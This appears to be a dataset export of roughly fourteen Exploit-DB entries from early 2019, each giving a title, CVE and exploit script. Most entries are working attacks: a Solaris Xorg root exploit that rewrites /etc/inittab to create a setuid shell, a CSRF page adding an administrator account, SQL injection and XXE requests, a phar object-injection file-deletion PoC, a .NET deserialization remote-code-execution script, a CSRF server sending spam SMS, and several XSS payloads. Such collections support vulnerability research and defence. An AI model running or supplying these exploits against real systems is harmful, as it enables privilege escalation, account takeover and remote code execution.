QLWD/code_shield huggingface dataset:
标题: xorg-x11-server < 1.20.3 (Solaris 11) - 'inittab Local Privilege Escalation EDB-ID: 46142 CVE: 2018-14665 类型: LOCAL 平台: SOLARIS 发布日期: 2019-01-14 漏洞利用脚本: #!/bin/sh

# Exploit Title: xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris11 inittab)
# Date: 2018-11-25
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.x.org/
# Version: xorg-x11-server 1.19.0 - 1.20.2
# Tested on: Oracle Solaris 11.4
# CVE : CVE-2018-14665

#
# raptor_solgasm - xorg-x11-server LPE via Solaris inittab
# Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 
# check for -modulepath and -logfile options when starting Xorg. X server 
# allows unprivileged users with the ability to log in to the system via 
# physical console to escalate their privileges and run arbitrary code under 
# root privileges (CVE-2018-14665).
#
# "In video games, this is what they call respawning" -- Nick Sax
#
# This exploit targets /etc/inittab in order to escalate privileges to root
# on Solaris 11 (no need to be connected to a physical console). Messing with 
# inittab is considerably dangerous and you may trash your system, however the
# other potential vectors (cron, passwd, sudo, ld.config, etc.) either don't 
# work or are even worse. Still, DON'T RUN UNLESS YOU KNOW WHAT YOU ARE DOING!
#
# See also:
# https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_solgasm
# raptor@stalker:~$ ./raptor_solgasm
# [...]
# Now please be patient for a few minutes...
# [...]
# To avoid trashing the system, remember to: mv /etc/inittab.old /etc/inittab
# -rw-r--r--   1 root     staff      13870 nov 24 22:01 /etc/inittab
# -rw-r--r--   1 root     sys          967 nov 24 20:01 /etc/inittab.old
# -rwsrwxrwx   1 root     root     1249080 nov 24 22:05 /tmp/pwned
# root@stalker:/etc# id
# uid=0(root) gid=0(root)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5]
# Oracle Solaris 11 SPARC [untested]
#

echo "raptor_solgasm - xorg-x11-server LPE via Solaris inittab"
echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>"

# prepare the payload
cat << EOF > /tmp/solgasm
cp /bin/zsh /tmp/pwned # fallback in case gcc is not available
echo "main(){setuid(0);setgid(0);system(\"/bin/bash\");}" > /tmp/pwned.c
gcc /tmp/pwned.c -o /tmp/pwned
chmod 4777 /tmp/pwned
EOF
chmod +x /tmp/solgasm

# trigger the bug
PWN=x$(cat /dev/urandom | env LC_CTYPE=C tr -dc '[:lower:]' | fold -3 | head -1)
cd /etc
Xorg -fp "${PWN}::respawn:/tmp/solgasm" -logfile inittab :1 &
sleep 5
pkill Xorg

# run the setuid shell
echo
echo "Now please be patient for a few minutes..."
echo
until [ -u /tmp/pwned ]; do sleep 1; done
echo "To avoid trashing the system remember to mv /etc/inittab.old /etc/inittab"
ls -l /etc/inittab*
ls -l /tmp/pwned
sleep 1
/tmp/pwned URL: https://www.exploit-db.com/exploits/46142
标题: Hucart CMS 5.7.4 - Cross-Site Request Forgery (Add Administrator Account) EDB-ID: 46149 CVE: 2019-6249 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-14 漏洞利用脚本: <!--
# Exploit Title: Hucart cms v5.7.4 CSRF vulnerability add administrator account
# Date: 2019-01-13
# Exploit Author: AllenChen（520allen@gmail.com）
# Vendor Homepage: http://www.hucart.com/
# Software Link: http://www.hucart.com/
# Version: v5.7.4
# CVE : CVE-2019-6249
 
An issue was discovered in HuCart v5.7.4. There is a CSRF vulnerability that can add an admin account via /adminsys/index.php?load=admins&act=edit_info&act_type=add.（References：http://www.iwantacve.cn/index.php/archives/109/）

After the administrator logged in, open the csrf exp page.
-->


<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;


fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='admin@hack.com' />";  
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";  
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='adm_enabled' value='1' />";  
fields += "<input type='hidden' name='act_type' value='add' />";  
fields += "<input type='hidden' name='adm_id' value='' />";  


var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html> URL: https://www.exploit-db.com/exploits/46149
标题: OpenSource ERP 6.3.1. - SQL Injection EDB-ID: 46118 CVE: 2019-5893 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-01-10 漏洞利用脚本: #Exploit Title: OpenSource ERP SQL Injection
#Date: 10.01.2019
#Exploit Author: Emre ÖVÜNÇ
#Vendor Homepage: http://www.nelson-it.ch
#Software Link: http://sourceforge.net/projects/opensourceerp/files/Windows/erp_6.3.1.exe/download
#Version: v6.3.1
#Tested on: Windows

# CVE-2019-5893
https://github.com/EmreOvunc/OpenSource-ERP-SQL-Injection
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5893
https://www.emreovunc.com/blog/en/OpenERP-SQL-DBversion.png

# PoC

POST /db/utils/query/data.xml HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: http://172.16.118.142:8024
Referer: http://172.16.118.142:8024/
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
Cookie: MneHttpSessionId8024=15471285865828
Host: 172.16.118.142:8024
Content-Length: 414
Accept-Encoding: gzip, deflate
Connection: close

sqlend=1&query=%27%7c%7ccast((select+chr(95)%7c%7cchr(33)%7c%7cchr(64)%7c%7c(SELECT+VERSION())%7c%7cchr(95)%7c%7cchr(33)%7c%7cchr(64))+as+numeric)%7c%7c%27&schema=mne_application&table=userpref&cols=startweblet%2cregion%2cmslanguage%2cusername%2cloginname%2cpersonid%2clanguage%2cregionselect%2ctimezone%2ccountrycarcode%2cstylename%2cusername%2cstartwebletname&usernameInput.old=session_user&mneuserloginname=test URL: https://www.exploit-db.com/exploits/46118
标题: BlogEngine 3.3 - XML External Entity Injection EDB-ID: 46106 CVE: 2018-14485 类型: WEBAPPS 平台: WINDOWS 发布日期: 2019-01-09 漏洞利用脚本: XML External Entity Injection Vulnerability in BlogEngine 3.3

Information
--------------------

Advisory by Netsparker
Name: XML External Entity Injection Vulnerability in BlogEngine 3.3
Affected Software: BlogEngine
Affected Versions: 3.3
Homepage: https://blogengine.io/
Vulnerability: XML External Entity (XXE) Injection Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14485
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H
Netsparker Advisory Reference: NS-18-045

Technical Details
--------------------

Url: http://websiteurl-blogengine3.3/metaweblog.axd
Parameter Name: BodyXML
Parameter Type: POST
Attack Pattern: <?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

Advisory Timeline
--------------------

12th November 2018- First Attempt to Contact
9th January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information. URL: https://www.exploit-db.com/exploits/46106
标题: PEAR Archive_Tar < 1.4.4 - PHP Object Injection EDB-ID: 46108 CVE: 2018-1000888 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-10 漏洞利用脚本: PEAR Archive_Tar < 1.4.4 - PHP Object Injection

Date:
  January 10, 2019

Author:
  farisv

Vendor Homepage:
  https://pear.php.net/package/Archive_Tar/

Vulnerable Package Link:
  http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz

CVE:
  CVE-2018-1000888

In PEAR Archive_Tar before 1.4.4, there are several file operation with `$v_header['filename']` as parameter (such as file_exists, is_file, is_dir, etc). When extract() is called without a specific prefix path, we can trigger phar induced unserialization by crafting a tar file with `phar://[path_to_malicious_phar_file]` as path name. Object injection can be used to trigger destructor/wakeup method in the loaded PHP classes, e.g. the Archive_Tar class itself. With Archive_Tar itself, we can trigger arbitrary file deletion because `@unlink($this->_temp_tarname)` will be called in the destructor method. If another class with useful gadget is loaded, remote code execution may be possible.


Steps to reproduce object injection and arbitrary file deletion:

1. Make sure that PHP & PEAR are installed.
2. Download vulnerable PEAR Archive_Tar.

$ wget http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz
$ tar xfz Archive_Tar-1.4.3.tgz
$ cd Archive_Tar-1.4.3

3. Create vulnerable code (vulnerable.php).

```
<?php
  require 'Archive/Tar.php';

  $exploit = new Archive_Tar('exploit.tar');
  $exploit->extract();
```

4. Create dummy file /tmp/test.

$ touch /tmp/test

5. Genereate exploit.phar with the following PHP code and place the exploit.phar in the same directory with vulnerable.php.

```
<?php

class Archive_Tar {
  public $_temp_tarname;
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$object = new Archive_Tar;
$object->_temp_tarname = '/tmp/test';
$phar->setMetadata($object);
$phar->stopBuffering();
```

6. Create exploit.tar with the following Python code.

```
import tarfile

tf = tarfile.open('exploit.tar', 'w')

tf.add('/dev/null', 'phar://exploit.phar')
tf.close()
```

7. Execute vulnerable.php to trigger object injection to delete /tmp/test.

$ ls -alt /tmp/test
-rw-rw-r-- 1 vagrant vagrant 0 Jan  9 16:41 /tmp/test
$ php vulnerable.php
$ ls -alt /tmp/test
ls: cannot access '/tmp/test': No such file or directory URL: https://www.exploit-db.com/exploits/46108
标题: Microsoft Windows - DSSVC CheckFilePermission Arbitrary File Deletion EDB-ID: 46104 CVE: 2018-8584 类型: LOCAL 平台: WINDOWS 发布日期: 2019-01-09 漏洞利用脚本: Windows: DSSVC CheckFilePermission Arbitrary File Delete EoP
Platform: Windows 10 1803 and 1809.
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

NOTE: This is one of multiple issues I’m reporting in the same service. While I’ve tried to ensure all the bugs are effectively orthogonal from each other it’s possible that fixes for one thing might affect others. I’ve also not reported every possible problem with the service as at some point I had to stop. I’ve not determined if any of these issues could be abusable from a sandbox, most of the issues almost certainly can’t be due to the requirements for arbitrary file symlinks but it’s not impossible.

Summary: 

The Data Sharing Service doesn’t has a TOCTOU in PolicyChecker::CheckFilePermission resulting in an arbitrary file deletion.

Description:

In many different places the DSSVC calls PolicyChecker::CheckFilePermission to ensure the calling user has permission to open a file with a certain set of access rights. This function has an unusual behavior, specifically it passes OPEN_ALWAYS as the disposition to CreateFile even if the code expects the file to already exist. The OPEN_ALWAYS disposition will create a file if it doesn’t exist, to handle the the code checks whether GetLastError() is 0, if it is then it assumes the file is new and so will call DeleteFile on the path.

This has a big problem, there’s a TOCTOU in that the path passed to CreateFile doesn’t need to refer to the same file that’s passed to DeleteFile. For example when this method is called in DSSCreateSharedFileTokenEx it’s using the path supplied by the user almost directly. One way of exploiting this would be to specify a path with a mount point in it, then between the call to CreateFile and DeleteFile change the mount point to point somewhere else. 

However, there’s an easier way, as CreateFile is called under impersonation and DeleteFile is not an attacker could just setup a per-user C: redirection to force the CreateFile call to open a new file in an arbitrary directory, then when DeleteFile is called it’ll be out of the impersonation so will use the system supplied C: drive.

Fixing wise you should probably reopen the original file for DELETE access then use the native APIs to delete the file by handle. Also if the file is expected to exist you perhaps should have a flag passed which indicates to use OPEN_EXISTING instead of OPEN_ALWAYS an not try and delete the file anyway.

Proof of Concept:

I’ve provided a PoC as a C# project.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) Execute the PoC passing the path to a file the user can’t delete on the command line (but can be deleted by SYSTEM).

Expected Result:
The call to DSOpenSharedFile fails and the file isn’t deleted.

Observed Result:
The file specified is deleted.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46104.zip URL: https://www.exploit-db.com/exploits/46104
标题: ZTE MF65 BD_HDV6MF65V1.0.0B05 - Cross-Site Scripting EDB-ID: 46102 CVE: 2018-7355 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-01-09 漏洞利用脚本: # Exploit Title: Reflected Cross-Site Scripting on ZTE MF65
# Date: 01/09/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009483
# Version: BD_HDV6MF65V1.0.0B05
# Tested on: Windows 10 x64
# CVE: CVE-2018-7355

*Description

The Mobile Hotspot having the said firmware version doesn’t sanitize the input argument "cmd" used in the page "/goform_get_cmd_process". A malicious input held by the parameter in the URL could result to client-side script execution or HTML code injection.

*Proof of Concept

http://192.168.0.1/goform/goform_get_cmd_process?multi_data=1&isTest=false&cmd=<b>ZTE_MF65_HTML_INJECT</b>
http://192.168.0.1/goform/goform_get_cmd_process?multi_data=1&isTest=false&cmd=<script>alert(1)</script>

*Mitigation

None - ZTE recommends upgrading to a new product (http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009483) URL: https://www.exploit-db.com/exploits/46102
标题: MyBB OUGC Awards Plugin 1.8.3 - Persistent Cross-Site Scripting EDB-ID: 46080 CVE: 2019-3501 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-07 漏洞利用脚本: # Exploit Title: MyBB OUGC Awards Plugin v1.8.3 - Cross-Site Scripting
# Date: 12/31/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=396
# Version: 1.8.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-3501


1. Description:
OUGC Awards plugin for MyBB forum allows admins and moderators to grant awards to users which displays on profiles/posts. The reason input isn't sanitized on awards page and user profiles.
 

2. Proof of Concept:

- Have a mod account level or higher
- Go to Manage Awards in ModCP
- Give an award to a user and input payload for reason   <script>alert('XSS')</script>

- Payload executes when viewing award on awards.php and user profiles.


3. Solution:
Update to 1.8.19 URL: https://www.exploit-db.com/exploits/46080
标题: Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data EDB-ID: 46086 CVE: 2018-20221 类型: WEBAPPS 平台: WINDOWS 发布日期: 2019-01-07 漏洞利用脚本: # Exploit Title: Ajera Timesheets <= 9.10.16 - Deserialization of untrusted data
# Date: 2019-01-03
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.deltek.com/en/products/project-erp/ajera
# Version: <= 9.10.16
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2012
# CVE: CVE-2018-20221
# Category: webapps
#   
# Ajera is a software written in .NET by Deltek. Version <= 9.10.16 allows an attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# Secure/SAService.rem in Deltek Ajera Timesheets <= 9.10.16 are vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the IIS Application Pool that is running the application.
#  

import struct, sys, requests, zlib, argparse, urlparse, subprocess

def run_command(command):
 p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
 output = b''
 for line in iter(p.stdout.readline, b''):
  output += line
  
 return output

def isurl(urlstr):
 try:
  urlparse.urlparse(urlstr)
  return urlstr
 except:
  raise argparse.ArgumentTypeError("invalid url")

if __name__ == "__main__":
 parser = argparse.ArgumentParser(description='Ajera .NET Remoting Exlpoit')
 parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
 parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
 parser.add_argument("--auth", "-a", required=True, help="the ASPXAUTH cookie")
 parser.add_argument("--version", "-v", required=False, help="the version of Ajera Server. 8.9.9.0 => 8990", default="8990")
 parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.exe")
 parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
 args = parser.parse_args()
 
 url_parts = urlparse.urlparse(args.url)
 target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
 
 proxies = {}
 if(args.proxy != None):
  proxy_parts = urlparse.urlparse(args.proxy)
  proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
 
 cmd = "/c " + args.cmd
 size = len(cmd)
 
 serial_payload = run_command('%s -o raw -g TypeConfuseDelegate -f BinaryFormatter -c "%s"' % (args.ysoserial, args.cmd))
 
 url = target_url + "/ajera/Secure/SAService.rem"
 headers = {'Content-Type': 'application/octet-stream'}
 cookies = {'.ASPXAUTH': args.auth}
 payload = "\x04" + args.version + zlib.compress(serial_payload)
 response = requests.post(url, headers=headers, cookies=cookies, data=payload, proxies=proxies, verify=False) URL: https://www.exploit-db.com/exploits/46086
标题: PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Scripting EDB-ID: 46081 CVE: 2018-20326 类型: WEBAPPS 平台: CGI 发布日期: 2019-01-07 漏洞利用脚本: # Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Reflected XSS 
# Date: 21/12/2018
# Exploit Author: Kumar Saurav
# Reference: https://0dayfindings.home.blog/2018/12/26/plc-wireless-router-gpn2-4p21-c-cn-reflected-xss/
# Vendor: ChinaMobile
# Category: Hardware
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
# Tested on: Multiple
# CVE : CVE-2018-20326

#Description: PLC Wireless Router's are vulnerable to a Reflected Cross Site Scripting (XSS).With this attack, the threat actor can steal cookies, session id, username or other sensitive information redirect an innocent victim to a malicious website, thus compromising the user. 

Reproduction Steps:
Step 1: Go to Wi-fi Router Gateway (192.168.59.254 in my case)
Step 2: Login as Username and Password
Step 3: After Login below url will be shown 
        (http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-)
Step 4: Insert the payload "<script>alert("XSS-Saurav")</script>" at the end of the above mentinoed url and hit enter
          (http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-<script>alert("XSS-Saurav")</script>)
Step 5: On execution of the payload, it will be popped up  as "XSS-Saurav" URL: https://www.exploit-db.com/exploits/46081
标题: LayerBB 1.1.1 - Persistent Cross-Site Scripting EDB-ID: 46079 CVE: 2018-17997 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-07 漏洞利用脚本: # Exploit Title: LayerBB 1.1.1 - Cross-Site Scripting
# Date: 10/4/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com/downloads.php?view=file&id=26
# Version: 1.1.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-17997


1. Description:
LayerBB is a free open-source forum software. The XSS found allows users to add a payload to the title of conversations (PMs).
 

2. Proof of Concept:

- Start a new conversation sending to any user (victim) you want
- Use a payload in the title  <script>alert('XSS')</script>
- Next time the user (victim) visits the site payload will execute


3. Solution:
Update to 1.1.2 URL: https://www.exploit-db.com/exploits/46079
标题: Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS) EDB-ID: 46092 CVE: 2014-5395 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-01-07 漏洞利用脚本: # Exploit Title: Huawei E5330 Cross-Site Request Forgery (Send SMS)
# Date: 01/07/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: https://consumer.huawei.com/in/mobile-broadband/e5330/
# Version: 21.210.09.00.158
# Tested on: Windows 10 x64
# CVE: CVE-2014-5395
# Note: The administrator who opens the URL should be authenticated.
import socket
import time
 
server_ip = "0.0.0.0"
server_port = 80
 
huawei_ip = "192.168.8.1"
receiving_phone_no = "01234567890"
sms_text = "This is a SPAM text from Huawei E5330"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)
 
print "Currently listening at " + server_ip + ":" + str(server_port)        
 
client, (client_host, client_port) = sock.accept()
 
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)
 
client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')

client.send("""
<html>
    <body>
        <script>
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://""" + huawei_ip + """/api/sms/send-sms", true);
            xhr.send('<?xml version="1.0" encoding="UTF-8"?><request><Index>0</Index><Phones><Phone>""" + receiving_phone_no + """</Phone></Phones><Sca></Sca><Content>""" + sms_text  + """</Content><Length>""" + str(len(sms_text)) + """</Length><Reserved>1</Reserved><Date>""" + time.strftime('%Y-%m-%d %H:%M:%S') + """</Date></request>');
        </script>
    </body>
</html>
""")
 
client.close()
sock.close() URL: https://www.exploit-db.com/exploits/46092
标题: Frog CMS 0.9.5 - Cross-Site Scripting EDB-ID: 46067 CVE: 2018-20448 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-02 漏洞利用脚本: # Exploit Title: Frog CMS 0.9.5 - Cross-Site Scripting
# Date: 2018-12-25
# Exploit Author:WangDudu
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Software Link: https://github.com/philippe/FrogCMS
# Version:0.9.5
# CVE :CVE-2018-20448

# The parameter under /install/index.php is that the Database name has reflective XSS
# 1 The Database name , username and password must be correct
# 2 You can use the exp: 

<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/46067